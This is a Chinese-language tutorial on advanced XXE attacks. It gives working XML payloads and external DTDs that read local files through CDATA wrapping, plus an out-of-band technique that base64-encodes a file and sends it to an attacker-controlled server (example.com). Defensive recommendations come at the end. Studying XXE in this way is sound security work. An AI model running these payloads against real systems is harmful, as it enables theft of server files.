XXE漏洞详解——进阶篇
字数 796 2025-08-15 21:33:28

XXE漏洞详解——进阶篇

1. 读取包含特殊符号的文件

在读取包含"<", ">", "&"等特殊符号的文件时,XML解析器会解析这些符号导致报错。解决方法涉及CDATA和PCDATA概念:

PCDATA (Parsed Character Data)

  • XML解析器会解析XML文档中的所有文本
  • 元素标签之间的文本会被解析
  • 可以包含嵌套的其他元素

CDATA (Unparsed Character Data)

  • 不应由XML解析器解析的文本数据
  • 格式:<![CDATA[ 内容 ]]>
  • 常用于包含大量特殊字符的文本(如JavaScript代码)

解决方案

使用外部DTD文件绕过内部实体引用限制:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
  <!ENTITY % start "<![CDATA[">
  <!ENTITY % go SYSTEM "file:///c:/test.txt">
  <!ENTITY % end "]]>">
  <!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">
  %dtd;
]>
<root>&all;</root>

外部DTD文件内容:

<!ENTITY all "%start;%go;%end;">

2. 无回显XXE漏洞利用

当XXE漏洞没有回显时,可以通过外带数据的方式获取文件内容:

基本思路

  1. 将读取的文件内容赋给一个实体
  2. 通过HTTP请求将实体内容发送到攻击者控制的服务器
  3. 在服务器日志中查看文件内容

示例Payload

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY % remote SYSTEM "http://example.com/xml.dtd">
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/test.txt">
  %remote;
  %send;
]>
<message>1234</message>

外部DTD文件

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://example.com/?%file;'>">
%start;

注意:&#x25;%的HTML实体编码,因为在DTD文件中不能直接使用%

数据外带过程

  1. 目标服务器处理XML时,会读取指定文件
  2. 将文件内容通过base64编码
  3. 作为参数发送到攻击者服务器
  4. 攻击者查看服务器访问日志获取文件内容

关键点总结

  1. 特殊字符处理:使用CDATA段包裹包含特殊字符的文件内容
  2. 外部DTD必要性:XML解析器禁止内部参数实体引用,必须使用外部DTD
  3. 无回显利用:通过HTTP请求外带数据是解决无回显场景的有效方法
  4. 编码技巧:使用base64编码确保文件内容在传输中不被破坏
  5. 日志分析:攻击者需要监控服务器访问日志来获取外带的数据

防御建议

  1. 禁用XML外部实体解析
  2. 使用更安全的数据格式如JSON
  3. 实施严格的输入验证
  4. 配置XML处理器禁用DTD和外部实体
  5. 对XML解析器进行安全配置
XXE漏洞详解——进阶篇 1. 读取包含特殊符号的文件 在读取包含" <", ">", "&"等特殊符号的文件时,XML解析器会解析这些符号导致报错。解决方法涉及CDATA和PCDATA概念: PCDATA (Parsed Character Data) XML解析器会解析XML文档中的所有文本 元素标签之间的文本会被解析 可以包含嵌套的其他元素 CDATA (Unparsed Character Data) 不应由XML解析器解析的文本数据 格式: <![CDATA[ 内容 ]]> 常用于包含大量特殊字符的文本(如JavaScript代码) 解决方案 使用外部DTD文件绕过内部实体引用限制: 外部DTD文件内容: 2. 无回显XXE漏洞利用 当XXE漏洞没有回显时,可以通过外带数据的方式获取文件内容: 基本思路 将读取的文件内容赋给一个实体 通过HTTP请求将实体内容发送到攻击者控制的服务器 在服务器日志中查看文件内容 示例Payload 外部DTD文件 注意: &#x25; 是 % 的HTML实体编码,因为在DTD文件中不能直接使用 % 数据外带过程 目标服务器处理XML时,会读取指定文件 将文件内容通过base64编码 作为参数发送到攻击者服务器 攻击者查看服务器访问日志获取文件内容 关键点总结 特殊字符处理 :使用CDATA段包裹包含特殊字符的文件内容 外部DTD必要性 :XML解析器禁止内部参数实体引用,必须使用外部DTD 无回显利用 :通过HTTP请求外带数据是解决无回显场景的有效方法 编码技巧 :使用base64编码确保文件内容在传输中不被破坏 日志分析 :攻击者需要监控服务器访问日志来获取外带的数据 防御建议 禁用XML外部实体解析 使用更安全的数据格式如JSON 实施严格的输入验证 配置XML处理器禁用DTD和外部实体 对XML解析器进行安全配置